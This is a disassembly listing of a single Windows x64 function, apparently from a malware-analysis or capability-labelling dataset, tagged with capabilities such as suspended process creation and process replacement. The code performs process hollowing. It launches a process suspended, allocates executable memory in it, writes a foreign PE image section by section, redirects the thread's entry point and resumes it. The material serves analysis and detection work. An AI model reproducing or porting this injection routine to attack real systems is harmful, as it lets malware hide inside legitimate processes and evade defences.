Function at 0x18000cde0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9c0]
sub rsp, 0xac0
mov rax, qword [0x18005c010]
xor rax, rsp
mov qword [rbp + 0x9b0], rax
mov rdi, qword [rbp + 0xa20]
mov rsi, r9
mov r14, rdx
test r9, r9
je 0x18000d45b
test rdi, rdi
je 0x18000d45b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000d45b
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.180019360
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.180019770
test rbx, rbx
je 0x18000d45b
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
jne 0x18000d447
xorps xmm0, xmm0
mov dword [rbp + 0x940], 0x68
xor eax, eax
xor r15d, r15d
mov dword [rbp + 0x9a4], eax
mov r13d, 1
mov qword [rsp + 0x70], rax
xor r9d, r9d
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rbp + 0x940]
mov rcx, r14
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
movups xmmword [rbp + 0x944], xmm0
movups xmmword [rbp + 0x954], xmm0
movups xmmword [rbp + 0x964], xmm0
movups xmmword [rbp + 0x974], xmm0
movups xmmword [rbp + 0x984], xmm0
movups xmmword [rbp + 0x994], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000cfce
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x930]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x930], r15d
je 0x18000d01b
mov r8d, 0x2c8
mov qword [rsp + 0x78], r15
lea rcx, [rbp - 0x6c]
call fcn.180019360
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x34]
lea r9d, [r15 + 4]
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x78]
add edx, 8
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x18000cfa2
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x18000cfba
mov eax, dword [rbp + 0x34]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
test rcx, rcx
je 0x18000cfce
test rax, rax
jne 0x18000d0c0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18000cff2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x18000d45b
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000d45b
mov r8d, 0x4d0
mov qword [rbp - 0x80], r15
lea rcx, [rbp + 0x460]
call fcn.180019360
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x460]
mov dword [rbp + 0x490], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x4e8]
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x60]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x18000d08d
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rcx, xmm0
jmp 0x18000d0a8
mov rax, qword [rbp + 0x4e8]
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
test rcx, rcx
je 0x18000cfce
test rax, rax
je 0x18000cfce
movsxd rcx, dword [rbx + 0x3c]
mov eax, 0x10b
cmp word [rcx + rbx + 0x18], ax
mov eax, dword [rbp + 0x930]
jne 0x18000d0df
test eax, eax
jne 0x18000d0ea
jmp 0x18000d45b
mov r13d, r15d
test eax, eax
jne 0x18000d45b
movzx esi, word [rcx + rbx + 0x5c]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test eax, eax
je 0x18000d104
call fcn.18000c500
jmp 0x18000d109
call fcn.18000c650
cmp eax, 0xffffffff
je 0x18000cfce
cmp esi, eax
jne 0x18000cfce
movsxd rdx, dword [rbx + 0x3c]
test r13d, r13d
je 0x18000d294
mov eax, r15d
cmp dword [rbx + rdx + 0xa0], eax
setne al
test eax, eax
jne 0x18000d26e
mov r8d, dword [rbx + rdx + 0x50]
lea rsi, [rbx + rdx]
mov edx, dword [rbx + rdx + 0x34]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x18000d436
mov r9d, dword [rsi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x60]
mov rdx, rax
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdi, rbx
test eax, eax
je 0x18000d439
mov r14d, r15d
cmp r15w, word [rsi + 6]
jae 0x18000d1e6
xor ebx, ebx
nop
movzx eax, word [rsi + 0x14]
mov rcx, qword [rsp + 0x60]
add rax, r15
mov qword [rsp + 0x20], rbx
mov r8d, dword [rax + rsi + 0x2c]
mov edx, dword [rax + rsi + 0x24]
add r8, rdi
mov r9d, dword [rax + rsi + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000d439
movzx eax, word [rsi + 6]
inc r14d
add r15, 0x28
cmp r14d, eax
jl 0x18000d1a0
xor r15d, r15d
xor edx, edx
lea rcx, [rbp - 0x6c]
mov r8d, 0x2c8
call fcn.180019360
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x18000d439
mov edx, dword [rbp + 0x34]
lea r8, [rsi + 0x34]
mov rcx, qword [rsp + 0x60]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000d439
mov ecx, dword [rsi + 0x28]
lea rdx, [rbp - 0x70]
add ecx, r12d
mov dword [rbp + 0x40], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x18000d439
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x18000d3f8
mov r8, rbx
lea rdx, [rsp + 0x60]
mov rdi, rbx
call fcn.18000c7b0
test eax, eax
je 0x18000d439
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
jmp 0x18000d407
cmp dword [rbx + rdx + 0xb0], r15d
je 0x18000d2a6
mov rdi, rbx
jmp 0x18000d3e7
mov r8d, dword [rbx + rdx + 0x50]
lea r14, [rbx + rdx]
mov rdx, qword [rbx + rdx + 0x30]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x18000d436
mov r9d, dword [r14 + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x60]
mov rdx, rax
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdi, rbx
test eax, eax
je 0x18000d439
xor ecx, ecx
mov esi, r15d
cmp cx, word [r14 + 6]
jae 0x18000d35c
mov dword [rsp + 0x78], ecx
nop
movzx eax, word [r14 + 0x14]
add rax, r15
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x60]
mov r8d, dword [rax + r14 + 0x2c]
mov edx, dword [rax + r14 + 0x24]
add r8, rbx
mov r9d, dword [rax + r14 + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000d3d8
movzx eax, word [r14 + 6]
inc esi
add r15, 0x28
mov ecx, 0
cmp esi, eax
jl 0x18000d310
mov r15d, ecx
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x4d0
call fcn.180019360
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x40], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x18000d3dd
mov rdx, qword [rbp + 0x18]
lea r8, [r14 + 0x30]
mov rcx, qword [rsp + 0x60]
xor ebx, ebx
add rdx, 0x10
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000d3dd
mov eax, dword [r14 + 0x28]
lea rdx, [rbp - 0x70]
mov rcx, qword [rsp + 0x68]
add rax, r12
mov qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x18000d3dd
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x18000d3f8
mov r15d, dword [rsp + 0x78]
test r13d, r13d
jne 0x18000d439
test r15d, r15d
je 0x18000d439
mov r8, rdi
lea rdx, [rsp + 0x60]
call fcn.18000cac0
test eax, eax
je 0x18000d439
cmp rdi, 0xffffffffffffffff
je 0x18000d412
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18000d422
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x18000d432
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x18000d460
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
jmp 0x18000cfd7
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x9b0]
xor rcx, rsp
call fcn.180015840
mov rbx, qword [rsp + 0xb00]
add rsp, 0xac0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret